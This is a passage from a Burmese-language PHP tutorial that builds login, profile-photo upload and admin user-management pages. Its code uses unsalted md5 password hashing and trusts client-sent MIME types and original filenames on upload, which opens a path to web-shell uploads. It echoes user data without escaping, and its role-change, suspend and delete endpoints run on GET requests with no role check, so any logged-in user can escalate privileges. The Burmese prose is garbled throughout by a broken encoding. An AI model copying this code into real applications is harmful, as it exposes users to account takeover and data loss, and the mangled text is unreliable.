တစ်ခါကြေတာ့  Form  ကကြေနပုိလုိ့က်တဲ့  Data  ကြေတွကို  ထည့်သိမ်းလုိက်တာ  goစ်သွားပါပြပီ။  သိမ်းပြပီးတဲ့အခါ
index.php ကို  Redirect လုပ်ခိုင်းထားပါတယ်။ registered=true ဆိုတဲ့  Query ထည့်ကြေပးလုိက်
လုိ့ index.php မှာလည်း ဒါကြေလးgoည့်ကြေရးကြေပးပါ။
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…

<h1 class="h3 mb-3">Login</h1>

<?php if (isset($_GET['registered'])): ?>
    <div class="alert alert-success">
        Account created. Please login.
    </div>
<?php endif ?>

<?php if (isset($_GET['suspended'])): ?>
    <div class="alert alert-danger">
        Your account is suspended.
    </div>
<?php endif ?>

… 

ကြေခါင်းစဉ်goစ်တဲ့ <h1> ကြေအာက်နားမှာ registered URL Query ရှိရင် Success Alert ကြေလးတစ်ခုကို gပ
ခိုင်းလုိက်တာပါ။ လက်စနဲ့ ကြေနာင်လုိအပ်မှာမုိလုိ့့ suspended URL Query ရှိရင် Danger Alert ကြေလးတစ်
ခုgပကြေပးတဲ့ ကုဒ်ကိုပါ တစ်ခါထဲ ထည့်ကြေရးထားပါတယ်။ ကျန်ကုဒ်ကြေတွက အကြေgပာင်းအလဲ မရှိပါyူး။

Register  လုပ်ပြပီး စမ်းeကည့်လုိရ့ပါပြပီ။  Register  လုပ်လုိ့ကြေအာင်gမင်ရင်  Login  ကိုအလုိအကြေလျှာက် ကြေရာက်
သွားမှာပါ။ တစ်ဆင့်ချင်း သွားသင့်လုိ့ ဒီအဆင့်ထိ မှန်မမှန်အရင်စမ်းပြပီးမှ ကြေရှ့ဆက်သွားသင့်ပါတယ်။

Login
Login ဝင်oုိအ့တွက် ကိုယ် Register လုပ်စဉ်မှာ ကြေပးခဲ့တဲ့ email နဲ့  password ကို အသံုးgပုရမှာပါ။ ဒါ
ကြေပမယ့်  Login  အတွက်  လက်ရှိကြေရးထားတဲ့ကုဒ်က  အကြေသစစ်ထားတဲ့ကုဒ်  goစ်ကြေနပါတယ်။  ကြေပးလာတဲ့
email နဲ့  password မှန်မမှန်  users Table ထဲမှာသွားeကည်ပြပီး အလုပ်လုပ်တာ မဟုတ်ကြေသးပါyူး။
ဒါကြေeကာင့် UsersTable.php မှာ ဒီ Method ကိုgoည့်ကြေရးကြေပးပါ။
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…

public function findByEmailAndPasword($email, $password)
{
    $statement = $this->db->prepare("
        SELECT users.*, roles.name AS role, roles.value
        FROM users LEFT JOIN roles
        ON users.role_id = roles.id
        WHERE users.email = :email 
        AND users.password = :password
    ");

    $statement->execute([
        'email' => $email,
        'password' => $password 
    ]);

    $row = $statement->fetch();

    return $row ?? false;
}

…

email နဲ့  password ကြေပးလာခဲ့ရင်  အ့ဲဒီ  email,  password တန်oုိးကြေတွနဲ့  ကိုက်ညီတဲ့  Record  ရှိမရှိ
ထုတ်ယူပြပီး gပန်ကြေပးတဲ့ ကုဒ်goစ်ပါတယ်။ JOIN Statement ကို အသုံးgပုပြပီး roles Table ထဲက လုိအပ်
မယ့် အချက်အလက်ကြေတွကိုပါ တစ်ခါထဲ တွဲထုတ်ယူကြေပးမှာပါ။ ပြပီးတဲ့အခါ _actions/login.php က
ကုဒ်ကို အခုလုိ gပင်ကြေပးရပါမယ်။

 PHP 

<?php

session_start();

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;

$email = $_POST['email'];
$password = md5( $_POST['password'] );

$table = new UsersTable(new MySQL());

$user = $table->findByEmailAndPasword($email, $password);
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if ($user) {

    if($user->suspended) {
        HTTP::redirect("/index.php", "suspended=1");
    }

    $_SESSION['user'] = $user;
    HTTP::redirect("/profile.php");

} else {
    HTTP::redirect("/index.php", "incorrect=1");
}

အရင်လုိ  email နဲ့  password ကို  တန်oုိးအကြေသကြေပးပြပီး  စစ်တာမဟုတ်ကြေတာ့ပါyူး။  ကြေစာကြေစာက ကြေရး
လုိက်တဲ့  findByEmailAndPassword() Method  ကိုသုံးပြပီး  users Table  ထဲမှာ ရှိမရှိစစ်လုိက်
တာပါ။ Password ကို သိမ်းတံုးက md5() နဲ့  Hash လုပ်ပြပီးသိမ်းထားတဲ့အတွက် gပန်စစ်တဲ့အခါမှာလည်း
md5() နဲပဲ့  Hash လုပ်ပြပီးစစ်ထားတာကို သတိgပုပါ။ User ရှိရင် gပန်ရလာတဲ့  User Object ကို  Session
ထဲမှာသိမ်းပြပီး မရှိရင် Login goစ်တဲ့ index.php ကို gပန်သွားခိုင်းလုိက်တာပါ။

ရပါပြပီ။ အကြေကာင့်ကြေတွ Register လုပ်ပြပီး၊ Register လုပ်ထားတဲ့ အကြေကာင့်နဲ့ Login ဝင်စမ်းeကည့်လုိက်ပါ။

Profile
Login ဝင်လုိက်ရင်  profile.php ကိုကြေရာက်သွားမှာပါ။ လက်ရှိကြေရးထားတဲ့ကုဒ်အရ profile.php
မှာ  gပကြေနတဲ့  ရလဒ်က  အကြေသကြေပးထားတဲ့  နမူနာအချက်အလက်ကြေတွပါ။  Login  ဝင်ထားတဲ့  User  ရဲ့
အချက်အလက်အမှန် မဟုတ်ပါyူး။ ဒါကြေeကာင့် အချက်အလက်အမှန်gပကြေအာင်  profile.php ကို  အခု
လုိgပင်ကြေရးကြေပးရပါမယ်။

 PHP 

<?php

include("vendor/autoload.php");

use Helpers\Auth;

$auth = Auth::check();

?>
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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Profile</title>

    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container">
        <h1 class="mt-5 mb-5">
            <?= $auth->name ?>
            <span class="fw-normal text-muted">
                (<?= $auth->role ?>)
            </span>
        </h1>

        <?php if(isset($_GET['error'])): ?>
            <div class="alert alert-warning">
                Cannot upload file
            </div>
        <?php endif ?>

        <?php if($auth->photo): ?>
            <img 
                class="img-thumbnail mb-3" 
                src="_actions/photos/<?= $auth->photo ?>"
                alt="Profile Photo" width="200">
        <?php endif ?>

        <form action="_actions/upload.php" method="post" 
enctype="multipart/form-data">

            <div class="input-group mb-3">
                <input type="file" name="photo" class="form-control">
                <button class="btn btn-secondary">Upload</button>
            </div>
        </form>

        <ul class="list-group">
            <li class="list-group-item">
                <b>Email:</b> <?= $auth->email ?>
            </li>
            <li class="list-group-item">
                <b>Phone:</b> <?= $auth->phone ?>
            </li>
            <li class="list-group-item">
                <b>Address:</b> <?= $auth->address ?>
            </li>
        </ul>
        <br>
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        <a href="admin.php">Manage Users</a> |
        <a href="_actions/logout.php" class="text-danger">Logout</a>
    </div>
</body>
</html>

ဟိုးထိပ်ဆံုးမှာ  Auth::check() နဲစ့စ်ပြပီး  Login User  ရဲ့အချက်အလက်ကြေတွ ယူထားပါတယ်။ ပြပီးတဲ့
အခါ ကြေအာက်yက်က Template ထဲမှာ အ့ဲဒီ တန်oုိးကြေတွကို သူ့ကြေနရာနဲ့သူ အစားထုိးပြပီး gပလုိက်တာပါ။ ဒါ
ကြေeကာင့် ကြေoာ်gပတဲ့အချက်အလက်က အမှန်goစ်သွားပါပြပီ။ ရလဒ်ကြေတွ ရုိက်ထုတ်ရတာ တုိသွားကြေအာင်  PHP
ရဲ့  Output Tag  <?= ကိုသုံးထားပါတယ်။  ကြေအာက်နားကြေလးမှာ  admin.php ကို  သွားလုိရ့တဲ့  Manage
Users ဆိုတဲ့ Link တစ်ခုပါသွားတာကိုလည်း သတိgပုပါ။

Profile Photo
ကျန်ကြေနတာတစ်ခုက Profile Photo ကိစ္စပါ။ နင်္ဂို ကြေရးထားတာက Profile Photo ကို တစ်ပံုထဲ အကြေသကြေပး
ပြပီး ကြေရးထားတာပါ။ အခုသက်ဆိုင်ရာ  User  တစ်ဦးချင်းစီက ကိုယ့်  Profile Photo  ကိုယ့်yာသာ တင်လုိ့
ရကြေအာင် လုပ်ကြေပးချင်ပါတယ်။ ဒါကြေeကာင့် UsersTable.php မှာ ဒီ Method တစ်ခုကို goည့်ကြေပးပါ။

… 

public function updatePhoto($id, $name)
{
    $statement = $this->db->prepare("
        UPDATE users SET photo=:name WHERE id = :id"
    );
    $statement->execute([ 'name' => $name, 'id' => $id ]);

    return $statement->rowCount();
}

… 

UPDATE SQL Statement နဲ့ ကြေပးလာတဲ့ ပံုအမည်ကို users Tables ထဲမှာ သိမ်းကြေပးလုိက်တာပါ။ ဒီကုဒ်
ကြေရးပြပီးပြပီဆိုရင် _actions/upload.php ကို အခုလုိgပင်ကြေပးပါ။
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 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$name = $_FILES['photo']['name'];
$error = $_FILES['photo']['error'];
$tmp = $_FILES['photo']['tmp_name'];
$type = $_FILES['photo']['type'];

if($error) {
    HTTP::redirect("/profile.php", "error=file");
}

if($type === "image/jpeg" or $type === "image/png") {

    $table->updatePhoto($auth->id, $name);

    move_uploaded_file($tmp, "photos/$name");

    $auth->photo = $name;

    HTTP::redirect("/profile.php");
} else {
    HTTP::redirect("/profile.php", "error=type");
}

ဒီတစ်ခါ oုိင်  Upload  လုပ်တဲ့အခါ အမည်ကိုအကြေသ မကြေပးကြေတာ့yဲ မူလအမည်အတိုင်း သိမ်းလုိက်တာပါ။
ပြပီးတဲ့အခါ ကြေစာကြေစာကကြေရးလုိက်တဲ့  updatePhoto() Method နဲ့  users Table ထဲမှာ တွဲသိမ်းလုိက်
လုိ့  အဆင်ကြေgပသွားပါပြပီ။ အခုgပင်လုိက်တဲ့အချက်အလက်အတိုင်း  User Account  ကို  Update  goစ်ကြေစချင်
ရင် Login ကြေနာက်တစ်ခါ gပန်ဝင်ရမှာပါ။ အချက်အလက်ကြေgပာင်းသွားပြပီမုိလုိ့့ပါ။ အ့ဲဒီလုိ ဝင်စရာမလုိကြေအာင်
$auth->photo ထဲမှာ ပံုအမည်  $name ကို  တိုက်ရုိက်ထည့်ကြေပးလုိက်တာ သတိgပုပါ။ ဒီကုဒ်က yာ
အတွက်လဲ  ကြေခါင်းစားကြေနမှာ  စိုးလုိ့ပါ။  Login  ကြေနာက်တစ်ကြကိမ်gပန်မဝင်ရကြေအာင်  ကြေgပာင်းသွားတဲ့
အချက်အလက်ကို ထည့်ကြေပးလုိက်တာပါ။
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စမ်းeကည့်လုိရ့ပါတယ်။  Profile  ပုံတင်လုိက်တဲ့အခါ ကိုယ့်ပံုနဲက့ိုယ် သီးသန့်goစ်သွားပါပြပီ။ အရင်လုိ တစ်ပံု
ထဲ အကြေသမဟုတ်ကြေတာ့ပါyူး။

User Management
ကြေနာက်ဆံုးကျန်ကြေနတဲ့ လုပ်ကြေဆာင်ချက်ကကြေတာ့ User Management goစ်ပါတယ်။ ရှိသမျှ User အားလုံးကို
gပကြေပးတဲ့ ကုဒ်ကို  admin.php မှာ ကြေရးပါမယ်။ ကုဒ်ကြေတွများပါလိမ့်မယ်။  HTML ကြေတွများလုိ့သာ များကြေန
တာပါ။ ဒီကြေလာက်ကြကီးရှုပ်ကြေထွးတဲ့ကုဒ်ကြေတာ့ မဟုတ်ပါyူး။ ဒီလုိကြေရးရမှာပါ –

 PHP 

<?php

include("vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\Auth;

$table = new UsersTable(new MySQL());
$all = $table->getAll();

$auth = Auth::check();

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Manage Users</title>

    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container">
        <div style="float: right">
            <a href="profile.php">Profile</a> |
            <a href="_actions/logout.php" 

class="text-danger">Logout</a>
        </div>

        <h1 class="mt-5 mb-5">
            Manage Users
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            <span class="badge bg-danger text-white">
                <?= count($all) ?>
            </span>
        </h1>

        <table class="table table-striped table-bordered">
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
                <th>Phone</th>
                <th>Role</th>
                <th>Actions</th>
            </tr>
            <?php foreach ($all as $user): ?>
                <tr>
                    <td><?= $user->id ?></td>
                    <td><?= $user->name ?></td>
                    <td><?= $user->email ?></td>
                    <td><?= $user->phone ?></td>
                    <td>
                        <?php if($user->value === '1'): ?>
                            <span class="badge bg-secondary">
                                <?= $user->role ?>
                            </span>
                        <?php elseif($user->value === '2'): ?>
                            <span class="badge bg-primary">
                                <?= $user->role ?>
                            </span>
                        <?php else: ?>
                            <span class="badge bg-success">
                                <?= $user->role ?>
                            </span>
                        <?php endif ?>
                    </td>
                    <td>
                        <?php if($auth->value > 1): ?>
                            <div class="btn-group dropdown">
                                <a href="#" class="btn btn-sm 

btn-outline-primary 
dropdown-toggle" 
data-bs-toggle="dropdown">

                                    Change Role
                                </a>

    <div class="dropdown-menu dropdown-menu-dark">
        <a href="_actions/role.php?id=<?= $user->id ?>&role=1" 
            class="dropdown-item">User</a>
        <a href="_actions/role.php?id=<?= $user->id ?>&role=2" 
            class="dropdown-item">Manager</a>
        <a href="_actions/role.php?id=<?= $user->id ?>&role=3" 
            class="dropdown-item">Admin</a>
    </div>
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    <?php if($user->suspended): ?>
        <a href="_actions/unsuspend.php?id=<?= $user->id ?>" 
            class="btn btn-sm btn-danger">Suspended</a>
    <?php else: ?>
        <a href="_actions/suspend.php?id=<?= $user->id ?>"
            class="btn btn-sm btn-outline-success">Active</a>
    <?php endif ?>

    <?php if($user->id !== $auth->id): ?>
        <a href="_actions/delete.php?id=<?= $user->id ?>" 
            class="btn btn-sm btn-outline-danger"
            onClick="return confirm('Are you sure?')">Delete</a>
    <?php endif ?>

</div>

<?php else: ?>
    ###
<?php endif ?>

                    </td>
                </tr>
            <?php endforeach ?>
        </table>
    </div>

    <script src="js/bootstrap.bundle.min.js"></script>
</body>
</html>

ဟိုးထိပ်ဆံုးမှာ  getAll() Method နဲ့ ရှိသမျှ  User  အားလုံးကို ရယူထားပါတယ်။ Auth::check()
နဲလ့ည်း Login စစ်ထားပါတယ်။ ပြပီးတဲ့အခါ ရထားတဲ့ User အားလုံးကို Loop လုပ်ပြပီး HTML Table တစ်ခု
နဲ့  တန်းစီပြပီးgပလုိက်တာပါပဲ။ လုိရင်းအဓိက လုပ်ကြေဆာင်ချက်က ဒါပါပဲ။ oွင့်eကည့်လုိက်ရင် ရလဒ်က ဒီလုိ
goစ်ရမှာပါ။
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ထူးgခားချက်အကြေနနဲ့ သက်ဆိုင်ရာ User Record နဲအ့တူ Change Role, Active နဲ့ Delete ဆိုတဲ့ ခလုပ်သံုး
ခုကို တွဲပြပီးကြေတာ့ gပထားပါတယ်။ အ့ဲဒီလုိgပတဲ့အခါ Role Value က 1 ထက်ကြကီးမှသာ gပoုိ့ စစ်ထားပါတယ်။
ဆိုလုိတာက ရုိးရုိး  User  ဆိုရင် အ့ဲဒီအလုပ်ကြေတွကို လုပ်ခွင့်မကြေပးလုိyဲ  Manager  တို့  Admin  တိုလုိ့  Role
ကြေတရွှိတဲ့  User  ကြေတွကိုသာ  လုပ်ခွင့်ကြေပးချင်တာပါ။  အခုနမူနာပံုမှာ  ဒီခလုပ်ကြေတွ  ကြေတွ့gမင်ကြေနရာတာက
Admin User အကြေနနဲ့ Login ဝင်ထားလုိ့goစ်ပါတယ်။

Change Role ခလုပ်မှာ Bootstrap ရဲ့  Dropdown နဲတ့ွဲပြပီး  User, Manager, Admin သုံးခုထဲက ကြေgပာင်း
လုိတဲ့တစ်ခုကို ကြေရွးကြေgပာင်းလုိရ့တဲ့  Menu တစ်ခုကြေပးထားပါတယ်။ နှိပ်လုိက်ရင် _actions/role.php
ကို ကြေရာက်သွားမှာပါ။ အ့ဲဒီလုိသွားတဲ့အခါ User ရဲ့ id နဲ့ ကြေgပာင်းလုိတဲ့ Role ရဲ့ id ကို URL Query အကြေန
နဲ ့တဲွထည့်ကြေပးထားပါတယ်။

Active ခလုပ်က လက်ရှိ Active goစ်ကြေနကြေeကာင်း gပချင်လုိထ့ည့်ထားတာပါ။ သူကိုနှိပ်လုိက်ရင် Suspended
goစ်သွားရမှာပါ။  ခလုပ်နှစ်ခုထဲက  အကြေgခအကြေနကြေပါ်မူတည်ပြပီး  တစ်ခုကိုgပခိုင်းထားပါတယ်။  နှိပ်လုိက်ရင်
အကြေgခအကြေနကြေပါ် မူတညပြပီး _actions/suspend.php သုိ့မဟုတ် _actions/unsuspend.php
ကို ကြေရာက်သွားမှာပါ။ 
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ကြေနာက်ဆံုးက  Delete  ခလုပ်ကို  နှိပ်လုိက်ရင်ကြေတာ့  _actions/delete.php ကို  ကြေရာက်သွားမှာပါ။
လက်ရှိ  Login  ဝင်ထားတဲ့  User  က ကိုယ့်ကိုယ်ကိုယ် oျက်လုိ့မရကြေအာင် စစ်ပြပီးကြေတာ့  Login  ဝင်ထားတဲ့
User  ရဲ့  Delete  ခလုပ်ကို  ကြေoျာက်ထားပါတယ်။  ဒါကြေeကာင့်  အကြေပါ်က  နမူနာပံုမှာ  User  တစ်ကြေယာက်
အတွက် Delete ခလုပ် မပါတာပါ။

ဒီလုပ်ကြေဆာင်ချက်ကြေတွ  အမှန်တစ်ကယ် အလုပ်လုပ်oုိအ့တွက်  UsersTable.php မှာ  အခုလုိ  ထပ်မံ
goည့်စွက်ကြေပးရမှာ goစ်ပါတယ်။

… 

public function suspend($id)
{
    $statement = $this->db->prepare("
        UPDATE users SET suspended=1 WHERE id = :id
    ");

    $statement->execute([ 'id' => $id ]);

    return $statement->rowCount();
}

public function unsuspend($id)
{
    $statement = $this->db->prepare("
        UPDATE users SET suspended=0 WHERE id = :id
    ");

    $statement->execute([ 'id' => $id ]);

    return $statement->rowCount();
}

public function changeRole($id, $role)
{
    $statement = $this->db->prepare("
        UPDATE users SET role_id = :role WHERE id = :id
    ");

    $statement->execute([ 'id' => $id, 'role' => $role ]);

    return $statement->rowCount();
}
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public function delete($id)
{
    $statement = $this->db->prepare("
        DELETE FROM users WHERE id = :id
    ");

    $statement->execute([ 'id' => $id ]);

    return $statement->rowCount();
}

… 

အားလုံးက တစ်ခုနဲတ့စ်ခု  ခပ်ဆင်ဆင်ကြေလးကြေတွပါ။  suspend() နဲ့  unsuspend() တိုက့  users
Table  ထဲက  suspended  တန်oုိးကို  0  သုိမ့ဟုတ်  1  ကြေgပာင်းကြေပးပါတယ်။  changeRole() က
role_id ကို  ကြေgပာင်းကြေပးပါတယ်။  delete() ကြေတာ့  DELETE  FROM  Statement  နဲ့  Record  ကို
ပယ်oျက်လုိက်ပါတယ်။

ပြပီးတဲ့အခါ _actions/role.php မှာ အခုလုိ ကြေရးကြေပးရပါမယ်။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$role = $_GET['role'];
$table->changeRole($id, $role);

HTTP::redirect("/admin.php");

ထူးgခားတဲ့ကုဒ်  မဟုတ်ကြေတာ့ပါyူး။  သက်ဆိုင်ရာ  URL  Query  တန်oုိးကြေတွကို  $_GET ကကြေနရယူပြပီး
ကြေစာကြေစာကကြေရးထားတဲ့  changeRole() ကိုကြေခါ်ယူအသံုးgပုကြေပးလုိက်တာပါ။  ဆက်လက်ပြပီးကြေတာ့
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_actions/suspend.php မှာအခုလုိကြေရးကြေပးပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$table->suspend($id);

HTTP::redirect("/admin.php");

အတတူူပါပဲ  ကြေစာကြေစာက  ကြေရးလုိက်တဲ့  suspend() ကိုကြေခါ်သုံးကြေပးထားတာပါ။  ဆက်လက်ပြပီး
_actions/unsuspend.php မှာ ထပ်ကြေရးကြေပးပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$table->unsuspend($id);

HTTP::redirect("/admin.php");

တစ်ကယ်ကြေတာ့ suspend.php နဲ့  unsuspend.php ကို နှစ်ခါခွဲပြပီး ကြေရးစရာမလုိပါyူး။ oုိင်တစ်ခုထဲ
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မှာ  ကြေရးလုိက်ရင်  ရနိုင်ပါတယ်။  ကြေရးလက်စ  goစ်ကြေနလုိသ့ာ  gပန်မကြေပါင်း  ကြေတာ့တာပါ။  ကြေနာက်ဆံုးအကြေနနဲ့
_actions/delete.php မှာ အခုလုိကြေရးကြေပးလုိက်ပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$table->delete($id);

HTTP::redirect("/admin.php");

သူလည်းပဲ ကြေစာကြေစာကကြေရးကြေပးထားတဲ့ delete() Method ကို ကြေခါ်သုံးလုိက်တာပါပဲ။

အခုဆိုရင်  ကျွန်ကြေတာ်တို့oန်တီးလုိတဲ့  ပကြေရာင်္ဂျက်ကြေလး  အားလံုးgပည့်စံုသွားပါပြပီး။  User  Account  ကြေတွ
ကြေဆာက်eကည့်၊  Login ဝင်eကည့်၊  Profile  ကြေgပာင်းeကည့်ပြပီး စမ်းလုိရ့ပါပြပီ။  User Role အမျ ို းမျ ို းရှိတဲ့ ထဲက
ရုိးရုိး  User  ဆိုရင်  Manage Users  မှာ စာရင်းပဲ eကည့်လုိရ့မှာ goစ်ပါတယ်။  Manager  သုိမ့ဟုတ်  Admin
User ဆိုရင်ကြေတာ့ Role ကြေတွကြေgပာင်းတာ၊ Suspend လုပ်ပြပီး အကြေကာင့်ကို yန်းတာ၊ oျက်တာကြေတွ လုပ်လုိရ့
သွားပါပြပီ။ Suspend လုပ်ထားတဲ့ အကြေကာင့်နဲ့  Login ဝင်တဲ့အခါ ဝင်လုိမ့ရကြေအာင်လည်း ကြကိုတင် ကြေရးသား
ခဲ့ပြပီးgoစ်ပါယ်။ ဒါကြေeကာင့် User Account အမျ ို းမျ ို းနဲ့ Login ဝင်ပြပီးကြေတာ့ စမ်းeကည့်နိုင်ပါတယ်။

လုိအပ်တယ်ဆိုရင်  အခုကြေရးသားကြေoာ်gပခဲ့တဲ့  ပကြေရာင်္ဂျက်ရဲ့  Source  Code  အgပည့်အစံုကို  ဒီကြေနရာမှာ
Download လုပ်ပြပီး ရယူနိုင်ပါတယ်။

– https://github.com/eimg/php-book

https://github.com/eimg/php-book
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Conclusion
တစ်ကယ်တမ်း ဒီထက်gပည့်စံုကြေအာင် ထပ်goည့်သင့်တာကြေလးကြေတွ ရှိကြေသးကြေပမယ့် အထက်မှာကြေgပာခဲ့သလုိပဲ
အချနိ်နဲ့ကြေနရာကို င့ဲကွက်ရတဲ့အတွက် ဒီကြေလာက်နဲပဲ့ ကြေကျနပ်လုိက်eကပါ။ 

ကကြေနအ့ချနိ်မှာ  ပကြေရာင်္ဂျက်ကြေတွ  ကြေရးသားတဲ့အခါ  Laravel,  Symfony  အစရှိတဲ့  Framework  ကြေတွကို
အသုံးgပုပြပီး  ကြေရးသားeကရတာ များပါလိမ့်မယ်။  ရုိးရုိး  PHP  နဲ့  အခုလုိမျ ို း  ကိုယ့်yာသာအစအဆံုး  ကြေရးoုိ့
လုိအပ်ချက် နည်းသွားပါပြပီ။  ဒါကြေပမယ့် ဒီအပုိင်းမှာကြေoာ်gပထားတဲ့ စာကြေတွ့လက်ကြေတွ့ သကြေyာသyာဝကြေတွ
က  ကိုယ်တိုင်  ရုိးရုိး  PHP  နဲ့ကြေရးရoုိ့  ရှိလာတဲ့အခါမှာ  ကြေရးနိုင်ကြေစoုိ့  အကြေထာက်အကူ  goစ်မှာgoစ်သလုိ
Framework ကြေတွ ကြေလ့လာအသုံးgပုတဲ့ ကြေနရာမှာလည်း အများကြကီး အကြေထာက်အကူ goစ်ကြေစမှာပါ။ 

သိသင့်တဲ့  အကြေgခခံကြေတွ  မgပည့်စံုyဲ    Framework    ကြေတွ  တုိက်ရုိက်အသုံးgပုoုိ့  ကြကိုးစားတဲ့အခါ  လွယ်လွယ်  
ကြေလးနဲ့  ပြပီးရမှာကို  မခက်သင့်yဲ အရမ်းခက်ကြေနတာကြေတွ၊    Framework    ကြကီး  သုံးထားရက်နဲ့  ကြေရးတဲ့ကုဒ်က  
စနစ်မကျ  goစ်ကြေနတာကြေတွ  ကြကံုရပါလိမ့်မယ်။  လုိအပ်တဲ့အကြေgခခံကြေတွ  ကြေeကညက်ပြပီးသူ  အတွက်ကြေတာ့  ဒီ
Framework ကြေတွက ကြေပးတဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို ထိထိကြေရာက်ကြေရာက် အသုံးချနိုင်မှာgoစ်လုိ့ စနစ်ကျပြပီး
အလုပ်တွင်တဲ့ ရလဒ်ကြေကာင်းကြေတွကို ရရှိမှာပဲ goစ်ပါတယ်။
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Web Development အပါအဝင် ကြေဆာ့o်ဝဲကြေရးသားမှု ပညာကြေတွကို ကြေလ့လာeကတဲ့အခါ တစ်ချ ို ့က ကြေပျာ်စရာ
ကြေကာင်းတယ်လုိ့ ထင်နိုင်ပါတယ်။ တစ်ချ ို ့ကကြေတာ့ သိပ်စိတ်ညစ်oုိ့ ကြေကာင်းတာပဲလုိ့ ယူဆနိုင်ပါတယ်။ တစ်
ကယ်ကြေတာ့ Development ဆိုတဲ့ ကြေရးသားoန်တီးgခင်းဟာ အလွယ်ဆံုးအဆင့်ပဲ ရိှပါကြေသးတယ်။ ကြေeကညက်
သင့်တဲ့  အကြေgခခံကြေတွ  ကြေeကညက်ပြပီး  အကြေတွ့အကြကံု  အထုိက်အကြေလျှာက်  ရှိလာတဲ့အခါ  ဒါကိုသကြေyာကြေပါက်
သွားပါလိမ့်မယ်။  တစ်ကယ်တမ်း  အကြေတွ့အကြကံု  ရင့်ကျက်လှပါတယ်ဆိုတဲ့  ဝါရင့်  ပရုိင်္ဂရမ်မာကြကီးကြေတွ
အတွက်ကြေတာင် ခက်ခဲကြေနဦးမယ် အကြေeကာင်းအရာကြေတွ ကျန်ပါကြေသးတယ်။ အ့ဲဒါကြေတွကကြေတာ့ – 

၁။ Performance
၂။ Security
၃။ Maintenance နဲ့
၄။ Scalability တိုပဲ့ goစ်ပါတယ်။

အသုံးgပုလုိရ့ကြေအာင်  oန်တီးရတာ  လွယ်ပါတယ်။  Performance  ကြေကာင်းပြပီး  gမန်တဲ့  ကြေဆာ့o်ဝဲတစ်ခုgoစ်
ကြေအာင် oန်တီးရတာကြေတာ့ ခက်ပါတယ်။ Security ကြေကာင်းပြပီး လံုခြခံုတဲ့ ကြေဆာ့o်ဝဲတစ်ခုgoစ်ကြေအာင် oန်တီးရ
တာ ခက်ပါတယ်။  Maintenance  ကြေကာင်းပြပီး gပုgပင်ထိန်းသိမ်းရလွယ်ကူတဲ့  ကြေဆာ့o်ဝဲgoစ်ကြေအာင် oန်တီးရ
တာ ခက်ပါတယ်။ Scalability ကြေကာင်းပြပီး လူကြေပါင်းများစွာက ကြေကာင်းမွန်စွာ အသံုးgပုနိုင်တဲ့ ကြေဆာ့o်ဝဲgoစ်
ကြေအာင် oန်တီးရတာ ခက်ပါတယ်။
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ဒါကြေတွက စာကြေတွ့သက်သက်နဲ့ တတ်ကျွမ်းမယ့် အရာကြေတွ မဟုတ်ကြေတာ့ပါyူး။ လုပ်ငန်းခွင်မှာ လက်ကြေတွ့ပ
ကြေရာင်္ဂျကက်ြေတွ လုပ်eကရင်းနဲ့ အကြေတွ့အကြကံုကကြေန ဆက်လက်သင်ယူသွားမှသာ ရနိုင်မယ့် ကိစ္စကြေတွ goစ်သွား
ပါပြပီ။ ဒီလုိပဲ သင်ယူရင်း ခရီးဆက်eကရမှာပါ။ 

စာoတ်သူအများစုဟာ ကြေလ့လာဆဲအဆင့်လုိ့ ယူဆတဲ့အတွက် အဆင့်ကြေကျာ် အကျယ်မချဲ့goစ် ကြေပမယ့်၊ ကြေရှ့
လမ်းခရီးကို  ဆက်eကရာမှာ ကြေgoာင့်goူးကြေချာကြေမွ့ကြေစoုိအ့တွက်၊  လျှင်gမန်ကြေပါက်ကြေရာက်ကြေစoုိအ့တွက်၊  ကြေပးလုိ့
ရသမျှ အကြေgခခံကြေကာင်းနဲ ့လမ်းညွှန်ချကက်ြေတွကိုကြေတာ့ ဒီစာအုပ်မှာ ထည့်သွင်းကြေပးခဲ့ပါတယ်။ စွမ်းကြေဆာင်ရည်
ကြေကာင်းတဲ့ကုဒ်ကြေတွ  ကြေရးနိုင်oုိအ့တွက်  သိသင့်တဲ့အကြေgခခံ  ဗဟုသုတကြေတွ၊  gပုgပင်ထိမ်းသိမ်းရလွယ်တဲ့ကုဒ်
ကြေတွ  ကြေရးနိုင်oုိအ့တွက်  သိသင့်တဲ့အကြေgခခံ  ဗဟုသုတကြေတွ၊  တိုးချဲ့gမှင့်တင်ရ  လွယ်ကူတဲ့ကုဒ်ကြေတွ  ကြေရးနိုင်oုိ့
အတွက်  သိသင့်တဲ့  အကြေgခခံဗဟုသုတကြေတွ  သူ့ကြေနရာနဲသူ့  အလျှင်းသင့်ရင်  သင့်သလုိ  ထည့်ကြေပးထားခဲ့ပါ
